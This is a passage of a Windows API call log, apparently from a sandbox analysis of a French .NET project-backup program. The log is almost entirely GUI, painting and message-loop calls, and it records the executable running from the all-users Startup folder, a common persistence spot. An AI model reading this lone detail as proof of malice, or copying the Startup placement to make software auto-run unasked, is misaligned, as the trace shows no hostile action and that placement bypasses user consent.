(hWnd=0x1019c, nIndex=-12, dwNewLong=65948) returned 0 [0221.727] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x81, wParam=0x0, lParam=0x2be214) returned 0x1 [0221.727] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x83, wParam=0x0, lParam=0x2be200) returned 0x0 [0221.727] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x1, wParam=0x0, lParam=0x2be214) returned 0x0 [0221.727] SendMessageW (hWnd=0x1019c, Msg=0x2055, wParam=0x1019c, lParam=0x3) returned 0x2 [0221.727] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x0 [0221.727] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x127, wParam=0x3, lParam=0x0) returned 0x0 [0221.728] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0221.728] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0221.728] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10188, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0221.728] RedrawWindow (hWnd=0x10188, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0221.728] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x1018a, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0221.728] InvalidateRect (hWnd=0x1018a, lpRect=0x0, bErase=1) returned 1 [0221.728] RedrawWindow (hWnd=0x1018a, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0221.728] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1018c, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0221.728] RedrawWindow (hWnd=0x1018c, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0221.728] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1018e, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0221.728] RedrawWindow (hWnd=0x1018e, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0221.728] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10190, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0221.728] RedrawWindow (hWnd=0x10190, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0221.728] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10192, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0221.728] RedrawWindow (hWnd=0x10192, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0221.728] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10194, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0221.728] RedrawWindow (hWnd=0x10194, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0221.728] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10196, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0221.728] RedrawWindow (hWnd=0x10196, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0221.729] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10198, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0221.729] RedrawWindow (hWnd=0x10198, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0221.729] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1019a, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0221.729] RedrawWindow (hWnd=0x1019a, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0221.729] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0221.729] RedrawWindow (hWnd=0x1019c, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0221.729] RedrawWindow (hWnd=0x40150, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0221.729] GetWindow (hWnd=0x1019c, uCmd=0x3) returned 0x1019a [0221.729] GetClientRect (in: hWnd=0x1019c, lpRect=0x2bdf34 | out: lpRect=0x2bdf34) returned 1 [0221.729] GetWindowRect (in: hWnd=0x1019c, lpRect=0x2bdf34 | out: lpRect=0x2bdf34) returned 1 [0221.729] GetParent (hWnd=0x1019c) returned 0x40150 [0221.729] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x40150, lpPoints=0x2bdf34, cPoints=0x2 | out: lpPoints=0x2bdf34) returned -7405888 [0221.729] SetWindowTextW (hWnd=0x1019c, lpString="\x53\xe9\x6c\x65\x63\x74\x69\x6f\x6e\x20\x64\x75\x20\x66\x69\x63\x68\x69\x65\x72\x20\x2e\x73\x6c\x6e") returned 1 [0221.729] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0xc, wParam=0x0, lParam=0x24bd60c) returned 0x1 [0221.729] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x5, wParam=0x0, lParam=0x1d00a3) returned 0x0 [0221.729] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x3, wParam=0x0, lParam=0x15015e) returned 0x0 [0221.729] GetClientRect (in: hWnd=0x1019c, lpRect=0x2bdf8c | out: lpRect=0x2bdf8c) returned 1 [0221.729] GetWindowRect (in: hWnd=0x1019c, lpRect=0x2bdf8c | out: lpRect=0x2bdf8c) returned 1 [0221.729] GetParent (hWnd=0x1019c) returned 0x40150 [0221.730] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x40150, lpPoints=0x2bdf8c, cPoints=0x2 | out: lpPoints=0x2bdf8c) returned -7405888 [0221.730] SendMessageW (hWnd=0x1019c, Msg=0x2210, wParam=0x19c0001, lParam=0x1019c) returned 0x0 [0221.730] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x2210, wParam=0x19c0001, lParam=0x1019c) returned 0x0 [0221.730] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0221.730] GetParent (hWnd=0x1019c) returned 0x40150 [0221.730] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0221.731] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0221.731] GetSystemMetrics (nIndex=42) returned 0 [0221.731] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be6f0, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0221.731] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be6f0) returned 0x23 [0221.921] QueryPerformanceFrequency (in: lpFrequency=0x115e98 | out: lpFrequency=0x115e98) returned 1 [0221.922] QueryPerformanceCounter (in: lpPerformanceCount=0x2be558 | out: lpPerformanceCount=0x2be558*=1808594800000) returned 1 [0221.922] CoTaskMemAlloc (cb=0x20c) returned 0x58f0e8 [0221.922] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x58f0e8, nSize=0x104 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\sauvegardeprojet.exe")) returned 0x51 [0221.922] CoTaskMemFree (pv=0x58f0e8) [0221.923] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe", nBufferLength=0x105, lpBuffer=0x2be020, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\SauvegardeProjet.exe", lpFilePart=0x0) returned 0x51 [0221.923] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", nBufferLength=0x105, lpBuffer=0x2bdfc4, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpFilePart=0x0) returned 0x3c [0221.947] SetForegroundWindow (hWnd=0x40150) returned 1 [0221.947] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x46, wParam=0x0, lParam=0x2be6f0) returned 0x0 [0221.948] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x46, wParam=0x0, lParam=0x2be6f0) returned 0x0 [0221.948] GetWindowPlacement (in: hWnd=0x40150, lpwndpl=0x2be4a0 | out: lpwndpl=0x2be4a0) returned 1 [0221.948] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x47, wParam=0x0, lParam=0x2be6f0) returned 0x0 [0221.948] GetClientRect (in: hWnd=0x40150, lpRect=0x2be450 | out: lpRect=0x2be450) returned 1 [0221.948] GetWindowRect (in: hWnd=0x40150, lpRect=0x2be450 | out: lpRect=0x2be450) returned 1 [0221.949] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x47, wParam=0x0, lParam=0x2be6f0) returned 0x0 [0221.949] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0xd, wParam=0x104, lParam=0x48edb8) returned 0x0 [0221.949] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x83, wParam=0x1, lParam=0x2be2d4) returned 0x0 [0221.950] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x1c, wParam=0x1, lParam=0x4d8) returned 0x0 [0221.950] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x1c, wParam=0x1, lParam=0x4d8) returned 0x0 [0221.950] NtdllDefWindowProc_W () returned 0x0 [0221.950] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x86, wParam=0x1, lParam=0x0) returned 0x1 [0221.951] OleInitialize (pvReserved=0x0) returned 0x0 [0221.951] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x2be4b0 | out: lplpMessageFilter=0x2be4b0*=0x0) returned 0x0 [0221.952] InvalidateRect (hWnd=0x1019c, lpRect=0x0, bErase=0) returned 1 [0221.952] GetFocus () returned 0x0 [0221.952] SetFocus (hWnd=0x1019c) returned 0x0 [0221.970] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x281, wParam=0x1, lParam=0xc000000f) returned 0x0 [0221.972] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x282, wParam=0x2, lParam=0x0) returned 0x0 [0221.972] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0221.972] GetParent (hWnd=0x40150) returned 0x0 [0221.972] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x7, wParam=0x0, lParam=0x0) returned 0x0 [0221.973] InvalidateRect (hWnd=0x1019c, lpRect=0x0, bErase=0) returned 1 [0221.973] InvalidateRect (hWnd=0x10188, lpRect=0x0, bErase=1) returned 1 [0221.973] InvalidateRect (hWnd=0x1018a, lpRect=0x0, bErase=1) returned 1 [0221.973] InvalidateRect (hWnd=0x1018c, lpRect=0x0, bErase=1) returned 1 [0221.973] InvalidateRect (hWnd=0x1018e, lpRect=0x0, bErase=1) returned 1 [0221.973] InvalidateRect (hWnd=0x10190, lpRect=0x0, bErase=1) returned 1 [0221.973] InvalidateRect (hWnd=0x10192, lpRect=0x0, bErase=1) returned 1 [0221.973] InvalidateRect (hWnd=0x10194, lpRect=0x0, bErase=1) returned 1 [0221.974] InvalidateRect (hWnd=0x10196, lpRect=0x0, bErase=1) returned 1 [0221.974] InvalidateRect (hWnd=0x10198, lpRect=0x0, bErase=1) returned 1 [0221.974] InvalidateRect (hWnd=0x1019a, lpRect=0x0, bErase=1) returned 1 [0221.974] InvalidateRect (hWnd=0x1019c, lpRect=0x0, bErase=0) returned 1 [0221.974] GetWindowThreadProcessId (in: hWnd=0x40150, lpdwProcessId=0x2be794 | out: lpdwProcessId=0x2be794) returned 0x560 [0221.974] GetCurrentThreadId () returned 0x560 [0221.974] RegisterClipboardFormatW (lpszFormat="WindowsForms12_ThreadCallbackMessage") returned 0xc12a [0221.974] PostMessageW (hWnd=0x40150, Msg=0xc12a, wParam=0x0, lParam=0x0) returned 1 [0221.974] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0221.974] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0221.975] GetSystemMetrics (nIndex=42) returned 0 [0221.975] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be6d8, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0221.975] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be6d8) returned 0x23 [0221.975] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x46, wParam=0x0, lParam=0x2beb28) returned 0x0 [0221.975] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x46, wParam=0x0, lParam=0x2beb28) returned 0x0 [0222.127] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0222.136] GetWindowPlacement (in: hWnd=0x40150, lpwndpl=0x2be8f0 | out: lpwndpl=0x2be8f0) returned 1 [0222.136] GetClientRect (in: hWnd=0x40150, lpRect=0x2be89c | out: lpRect=0x2be89c) returned 1 [0222.136] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0222.136] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0222.137] GetSystemMetrics (nIndex=42) returned 0 [0222.137] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be72c, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0222.137] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be72c) returned 0x23 [0222.137] GetClientRect (in: hWnd=0x40150, lpRect=0x2be7a4 | out: lpRect=0x2be7a4) returned 1 [0222.139] EnumDisplayMonitors (hdc=0x0, lprcClip=0x0, lpfnEnum=0x4a3b3f6, dwData=0x0) returned 1 [0222.140] GetMonitorInfoW (in: hMonitor=0x10001, lpmi=0x2be40c | out: lpmi=0x2be40c) returned 1 [0222.140] CreateDCW (pwszDriver="\\\\.\\DISPLAY1", pwszDevice=0x0, pszPort=0x0, pdm=0x0) returned 0x39010225 [0222.140] GetDeviceCaps (hdc=0x39010225, index=12) returned 32 [0222.140] GetDeviceCaps (hdc=0x39010225, index=14) returned 1 [0222.140] DeleteDC (hdc=0x39010225) returned 1 [0222.140] GetCurrentObject (hdc=0x701068c, type=0x1) returned 0x1b00017 [0222.140] GetCurrentObject (hdc=0x701068c, type=0x2) returned 0x1900010 [0222.140] GetCurrentObject (hdc=0x701068c, type=0x7) returned 0x2f0501e0 [0222.140] GetCurrentObject (hdc=0x701068c, type=0x6) returned 0x18a002e [0222.140] SaveDC (hdc=0x701068c) returned 1 [0222.140] GetNearestColor (hdc=0x701068c, color=0xf0f0f0) returned 0xf0f0f0 [0222.141] CreateSolidBrush (color=0xf0f0f0) returned 0x181006a2 [0222.141] FillRect (hDC=0x701068c, lprc=0x2be644, hbr=0x181006a2) returned 1 [0222.264] DeleteObject (ho=0x181006a2) returned 1 [0222.264] RestoreDC (hdc=0x701068c, nSavedDC=-1) returned 1 [0222.275] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10188, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0222.275] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x1018a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0222.624] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x1018a, Msg=0x14, wParam=0x100107ec, lParam=0x0) returned 0x1 [0222.625] SetTextColor (hdc=0x100107ec, color=0x0) returned 0x0 [0222.625] SetBkColor (hdc=0x100107ec, color=0xffffff) returned 0xffffff [0222.625] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1018e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0222.626] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10192, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0222.626] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10196, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0222.626] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1019a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0222.627] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0222.627] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x14, wParam=0x1401007f, lParam=0x0) returned 0x1 [0222.627] GetStockObject (i=5) returned 0x1900015 [0222.627] GetWindowPlacement (in: hWnd=0x40150, lpwndpl=0x2be8d8 | out: lpwndpl=0x2be8d8) returned 1 [0222.627] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x47, wParam=0x0, lParam=0x2beb28) returned 0x0 [0222.627] GetClientRect (in: hWnd=0x40150, lpRect=0x2be888 | out: lpRect=0x2be888) returned 1 [0222.627] GetWindowRect (in: hWnd=0x40150, lpRect=0x2be888 | out: lpRect=0x2be888) returned 1 [0222.628] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x5, wParam=0x0, lParam=0x28d0320) returned 0x0 [0222.628] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x3, wParam=0x0, lParam=0x720140) returned 0x0 [0222.628] GetClientRect (in: hWnd=0x40150, lpRect=0x2be8b4 | out: lpRect=0x2be8b4) returned 1 [0222.628] GetWindowRect (in: hWnd=0x40150, lpRect=0x2be8b4 | out: lpRect=0x2be8b4) returned 1 [0222.628] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0222.629] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x46, wParam=0x0, lParam=0x2beb00) returned 0x0 [0222.630] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x83, wParam=0x1, lParam=0x2bead8) returned 0x0 [0222.703] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0222.739] GetWindowPlacement (in: hWnd=0x40150, lpwndpl=0x2be8c8 | out: lpwndpl=0x2be8c8) returned 1 [0222.739] GetClientRect (in: hWnd=0x40150, lpRect=0x2be874 | out: lpRect=0x2be874) returned 1 [0222.739] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0222.739] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0222.739] GetSystemMetrics (nIndex=42) returned 0 [0222.739] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be704, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0222.739] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be704) returned 0x23 [0222.739] GetClientRect (in: hWnd=0x40150, lpRect=0x2be77c | out: lpRect=0x2be77c) returned 1 [0222.739] GetCurrentObject (hdc=0x1401007f, type=0x1) returned 0x1b00017 [0222.739] GetCurrentObject (hdc=0x1401007f, type=0x2) returned 0x1900010 [0222.739] GetCurrentObject (hdc=0x1401007f, type=0x7) returned 0x2f0501e0 [0222.739] GetCurrentObject (hdc=0x1401007f, type=0x6) returned 0x18a002e [0222.739] SaveDC (hdc=0x1401007f) returned 1 [0222.739] GetNearestColor (hdc=0x1401007f, color=0xf0f0f0) returned 0xf0f0f0 [0222.739] CreateSolidBrush (color=0xf0f0f0) returned 0x191006a2 [0222.739] FillRect (hDC=0x1401007f, lprc=0x2be61c, hbr=0x191006a2) returned 1 [0222.739] DeleteObject (ho=0x191006a2) returned 1 [0222.739] RestoreDC (hdc=0x1401007f, nSavedDC=-1) returned 1 [0222.745] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10188, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0222.745] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x1018a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0222.976] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x1018a, Msg=0x14, wParam=0x1401007f, lParam=0x0) returned 0x1 [0222.976] SetTextColor (hdc=0x1401007f, color=0x0) returned 0x0 [0222.976] SetBkColor (hdc=0x1401007f, color=0xffffff) returned 0xffffff [0222.992] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1018e, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0222.993] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10192, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0222.994] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x10196, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0222.995] CallWindowProcW (lpPrevWndFunc=0x70efb8c9, hWnd=0x1019a, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0222.996] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0222.996] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x14, wParam=0x100107ec, lParam=0x0) returned 0x1 [0222.996] GetStockObject (i=5) returned 0x1900015 [0222.996] GetWindowPlacement (in: hWnd=0x40150, lpwndpl=0x2be8b0 | out: lpwndpl=0x2be8b0) returned 1 [0222.996] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x47, wParam=0x0, lParam=0x2beb00) returned 0x0 [0222.996] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x5, wParam=0x0, lParam=0x28d0320) returned 0x0 [0222.996] GetClientRect (in: hWnd=0x40150, lpRect=0x2be860 | out: lpRect=0x2be860) returned 1 [0223.005] GetWindowRect (in: hWnd=0x40150, lpRect=0x2be860 | out: lpRect=0x2be860) returned 1 [0223.007] IsWindowUnicode (hWnd=0x1018a) returned 1 [0223.007] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0223.008] TranslateMessage (lpMsg=0x2bec18) returned 0 [0223.008] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0223.008] CallWindowProcW (lpPrevWndFunc=0x70f769b9, hWnd=0x1018a, Msg=0x5, wParam=0x0, lParam=0x0) returned 0x0 [0223.009] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0223.009] GetMessageA (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0223.009] TranslateMessage (lpMsg=0x2bec18) returned 0 [0223.009] DispatchMessageA (lpMsg=0x2bec18) returned 0x0 [0223.009] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0223.009] IsWindowUnicode (hWnd=0x40150) returned 1 [0223.009] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0223.009] TranslateMessage (lpMsg=0x2bec18) returned 0 [0223.009] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0223.010] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0223.010] IsWindowUnicode (hWnd=0x40150) returned 1 [0223.010] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0223.010] TranslateMessage (lpMsg=0x2bec18) returned 0 [0223.010] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0223.010] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xc092, wParam=0x0, lParam=0x0) returned 0x0 [0223.010] PeekMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x2bec18) returned 1 [0223.010] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x86, wParam=0x0, lParam=0x0) returned 0x1 [0223.142] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x1c, wParam=0x0, lParam=0x568) returned 0x0 [0223.142] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x1016c, Msg=0x1c, wParam=0x0, lParam=0x568) returned 0x0 [0223.142] NtdllDefWindowProc_W () returned 0x0 [0223.143] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x8, wParam=0x0, lParam=0x0) returned 0x0 [0223.143] InvalidateRect (hWnd=0x1019c, lpRect=0x0, bErase=0) returned 1 [0223.143] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x281, wParam=0x0, lParam=0xc000000f) returned 0x0 [0223.143] GetKeyboardLayout (idThread=0x0) returned 0x4090409 [0223.143] CallWindowProcW (lpPrevWndFunc=0x70f0b495, hWnd=0x1019c, Msg=0x282, wParam=0x1, lParam=0x0) returned 0x0 [0223.143] IsWindowUnicode (hWnd=0x40150) returned 1 [0223.143] GetMessageW (in: lpMsg=0x2bec18, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x2bec18) returned 1 [0223.143] TranslateMessage (lpMsg=0x2bec18) returned 0 [0223.143] DispatchMessageW (lpMsg=0x2bec18) returned 0x0 [0223.144] BeginPaint (in: hWnd=0x40150, lpPaint=0x2be724 | out: lpPaint=0x2be724) returned 0x60106b7 [0223.144] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0x85, wParam=0x1, lParam=0x0) returned 0x0 [0223.147] GetWindowPlacement (in: hWnd=0x40150, lpwndpl=0x2be480 | out: lpwndpl=0x2be480) returned 1 [0223.147] GetClientRect (in: hWnd=0x40150, lpRect=0x2be42c | out: lpRect=0x2be42c) returned 1 [0223.147] GetWindowTextLengthW (hWnd=0x40150) returned 35 [0223.147] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x23 [0223.147] GetSystemMetrics (nIndex=42) returned 0 [0223.147] GetWindowTextW (in: hWnd=0x40150, lpString=0x2be2bc, nMaxCount=36 | out: lpString="Sauvegarde d'un projet VB Net ou C#") returned 35 [0223.147] CallWindowProcW (lpPrevWndFunc=0x77b425dd, hWnd=0x40150, Msg=0xd, wParam=0x24, lParam=0x2be2bc) returned 0x23 [0223.147] GetClientRect (in: hWnd=0x40150, lpRect=0x2be334 | out: lpRect=0x2be334) returned 1 [0223.147] GetCurrentObject (hdc=0x60106b7, type=0x1) returned 0x1b00017 [0223.147] GetCurrentObject (hdc=0x60106b7, type=0x2) returned 0x1900010 [0223.147] GetCurrentObject (hdc=0x60106b7, type=0x7) returned 0x2f0501e0 [0223.147] GetCurrentObject (hdc=0x60106b7, type=0x6) returned 0x18a002e [0223.147] SaveDC (hdc=0x60106b7) returned 1 [0223.147] GetNearestColor (hdc=0x60106b7, color=0xf0f0f0) returned 0xf0f0f0 [0223.147] CreateSolidBrush (color=0xf0f0f0) returned 0x1a1006a2 [0223.147] FillRect (hDC=0x60106b7, lprc=0x2be1d4, hbr=0x1a1006a2) returned 1 [0223.147] DeleteObject (ho=0x1a1006a2) returned 1 [0223.148] RestoreDC (hdc=0x60106b7, nSavedDC=-1) returned 1 [0223.359] GdipCreateHalftonePalette () returned 0x300807ef [0223.359] SelectPalette (hdc=0x60106b7, hPal=0x300807ef, 